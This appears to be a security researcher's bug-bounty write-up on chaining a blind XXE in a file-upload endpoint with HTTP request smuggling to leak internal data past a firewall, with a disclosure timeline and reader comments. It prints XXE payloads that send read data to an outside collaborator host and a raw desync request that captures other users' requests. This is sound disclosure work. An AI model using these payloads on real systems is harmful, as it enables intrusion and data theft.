in websec

XXE-scape through the front door: circumventing the firewall with HTTP request smuggling

In this write-up, I want to share a cool way in which I was able to bypass firewall limitations that were stopping me from successfully exploiting an XML External Entity injection (XXE) vulnerability. By combining the XXE with a separate HTTP request smuggling vulnerability, I was able to grab some secret information and escape through the front door. Let’s go!

architectuur, balkon, brandtrap
A fire escape, because this write-up is about escaping a firewall. It’s a little joke.

The Hole in the Wall

The story starts when Burp Suite pointed out that a file upload endpoint was parsing the embedded XML in some image file formats, which it was able to determine because the embedded external entities triggered a DNS request to the Burp Collaborator.

The generated report by the excellent UploadScanner extension for Burp Suite.

Funnily enough, this report had been sitting in my Burp project file for more than two months before I finally noticed it. When I did, I quickly started playing with the payloads to see if I could verify this finding, and maybe trigger an HTTP request rather than DNS only.


When exploiting an XXE vulnerability, it is important that you can reference your own external Document Type Definition (DTD) file. While internal DTD declarations are possible, they do not typically allow the advanced markup that makes an XXE attack so powerful. To reference an external DTD file, outgoing HTTP request traffic should be allowed.

In my earlier post “From blind XXE to root-level file read access“, I explain this limitation and another way to circumvent the limitation of a firewall that blocked outgoing HTTP traffic.

Too bad. I found myself unable to trigger outgoing HTTP requests using any of the tricks that had worked for me in similar scenarios before: I couldn’t find an unpatched Jira to serve as a proxy, nor was the gopher protocol enabled to try and leverage existing proxy servers on the company network:

So if I’m unable to include a remote DTD file, what options do I have? Lucky for me, this excellent research by Arseniy Sharoglazov shows that you can achieve the same advanced markup of an external DTD by embedding variables in DTD files that exist on the local file system:

By leveraging this technique, and the extended work by GoSecure, I was able to confirm the existence of a local DTD C:\Windows\System32\wbem\xml\wmi20.dtd which already provided us with a solid proof of concept:

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\wmi20.dtd">

    <!ENTITY % CIMName '>
        <!ENTITY % file "testtesttest">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'https://%file;'>">
        <!ELEMENT aa "bb"'>


If that looks complicated, that’s because it is. For readability purposes, the above is essentially equivalent to an external DTD with the following content:

<!ENTITY % file "testtesttest">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'https://%file;'>">

In other words, the following happens:

  1. Define a parameter entity %file; with value “testtesttest“;
  2. Define a parameter entity %eval that combines the first variable into a string to define an external entity %error; to…
  3. …try and access the resource (note the SYSTEM keyword) at location
  4. By “printing” %eval; and %error;, their respective values are included in the DTD, resulting in:
    1. the definition of %error; coming to life, and
    2. referencing it so its external resource is fetched, so its content can be included;

As a result, lo and behold, the string testtesttest is appended with the rest of the URL, and shows up in the external DNS lookup towards our Burp Collaborator:

At this point, I started looking for some internally accessible information that could be leaked as part of a domain name (i.e. strings without newlines, consisting only of alphanumerics, dots, and dashes) and was lucky to find a web service that returned the simple string “none“:

<!ENTITY % file SYSTEM "">
% eval "<!ENTITY % error SYSTEM 'https://%file;'>">

This resulted in a DNS lookup to, demonstrating we could leak internal information to an outside attacker.

While the leaked information is utterly useless and could not reasonably be considered sensitive, I considered this POC sufficient to be reported. But my thirst for impact was not quite quenched. So I reported the issue, and I kept digging!

The Great Escape

I cannot remember everything I tried, but eventually, I had the idea to get a list of all the domains in the program’s scope and use them in an Intruder attack as part of the XXE payload. In doing so, I wanted to determine if any of the domains maybe resolved to internal IP addresses on the internal network and might lead to exfiltrating more interesting data from endpoints that weren’t blocked by the firewall.

In order to determine which URLs were resolving and accessible from the vulnerable server, I modified the previous payload as follows (simplified):

<!ENTITY % file SYSTEM "">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'https://%file;.<burp-collaborator-url>/'>">
<!ENTITY % checkpoint SYSTEM "http://canary.<burp-collaborator-url>">

If I now received an incoming DNS request on canary.<burp-collaborator-url>, that meant the file location (in this case was successfully contacted; whereas if I didn’t, that meant an error was thrown before the canary could be resolved. This was easily verified with local paths like file:///C:\Windows\win.ini and file:///C:\idontexist.

As a result, I now knew that the firewall on the network was blocking HTTP requests to almost everywhere, but not to a number of domains of the format * What made this particularly interesting is that a few of these whitelisted domains were flagged by the HTTP request smuggler plug-in as vulnerable. This suddenly sounded very promising!


HTTP request smuggling vulnerabilities can be tricky to exploit. Read my article “HTTP Request Smuggling – 5 Practical Tips” for things you can look for to demonstrate impact.

After conscientiously working through each of the vulnerable hosts and a lot of trial and error, I found one useful application where I could leverage the HTTP request smuggling vulnerability. The server ran an application with an endpoint to save profile information: this made it possible to store and read smuggled requests by sending a desynchronizing request like this:

POST /app/ HTTP/1.1
 Transfer-Encoding: chunked
Content-Length: 136
Pragma: no-cache


POST /app/SaveProfile HTTP/1.1
Cookie: attacker_session_cookie
Content-Length: 100


When sending this HTTP request to the vulnerable web server, the desync resulted in the next HTTP request to the server (possibly by a random visitor) being appended to the POST body of the poisoned request:

POST /app/SaveProfile HTTP/1.1
Cookie: attacker_session_cookie
Content-Length: 100

Description=XXXABGET / HTTP/1.1\r\nHost:[...]

Since I could use my attacker’s session cookie in the poisoned request, I could now go and read the smuggled request in the description of my own profile!

Interestingly, because this vulnerability only existed on the HTTP layer of the application (port 80) and not on HTTPS (port 443), this vulnerability in itself was of low impact because hardly any real-life users would have their requests poisoned in a successful attack. However, by combining it with the XXE I was working on, the proverbial whole quickly became more than the sum of its parts.

By poisoning the back-end’s HTTP layer and quickly following this by sending an XML payload that would trigger the poisoned request, it was possible to construct a payload that allowed me to read sensitive information by sending it to the description of my profile on the whitelisted application (simplified for readability):

<!ENTITY % file SYSTEM "">
<!ENTITY % eval "<!ENTITY % error SYSTEM ';'>">

This concatenated the value read from issued a request to<token>, which we could successfully poison. The result was beautiful:

The exfiltrated data was available in my profile description as a result of the successful request smuggling attack.

I reported these as two different vulnerabilities and demonstrated the combined impact in one of the two. I argued that the combined impact was critical, but eventually, the company awarded as “High” and added a bonus as a token of appreciation.

Lessons learned

  • The applications of HTTP request smuggling are varied;
  • If you can only exfiltrate information via DNS, you may want to keep digging;


  • 19/Dec/2019 – Reported the XXE with a simple POC;
  • 20/Dec/2019 – Reported the request smuggling vulnerability;
  • 20/Dec/2019 – Updated the XXE report with a POC combining the two reports to demonstrate leaking sensitive data;
  • 2/Jan/2020 – HTTP request smuggling report triaged;
  • 6/Jan/2020 – XXE report triaged after providing a video of the attack in action since it was difficult for triage to reproduce;
  • 8/Jan/2020 – Bounty awarded for request smuggling as Medium criticality;
  • 8/Jan/2020 – Bounty awarded for XXE as High criticality;
  • 29/Feb/2020 – Requested permission to publish write-up;
  • 18/Mar/2020 – Permission granted.

Write a Comment


  1. Hi there, great post.. question, its not quite clear for me why canary.burp worked for telling you what servers could be contacted, mostly because the order of the parameters entities you defined. Im sure Im confused but instead of
    shouldn’t it be
    %checkpoint; ?

    • Hello Emanuel – yeah, this is confusing. I have the same problems wrapping my head around this whenever I try this again.

      However, I believe the syntax is correct as stated in the blog post, and the confusion stems from the way the parser resolves the entities in the doctype. I.e. by the time the %error; is printed, it will already have tried to resolve the file we want to check inside %eval;. If that definition fails, it will result in the whole entity block failing, and therefore no call to the canary will be issued.

      Whereas if the %eval goes without a problem, it will move to the next phase, where it starts off with the %checkpoint, and it will only fail at the moment the %error is attempted.

      I hope that makes sense.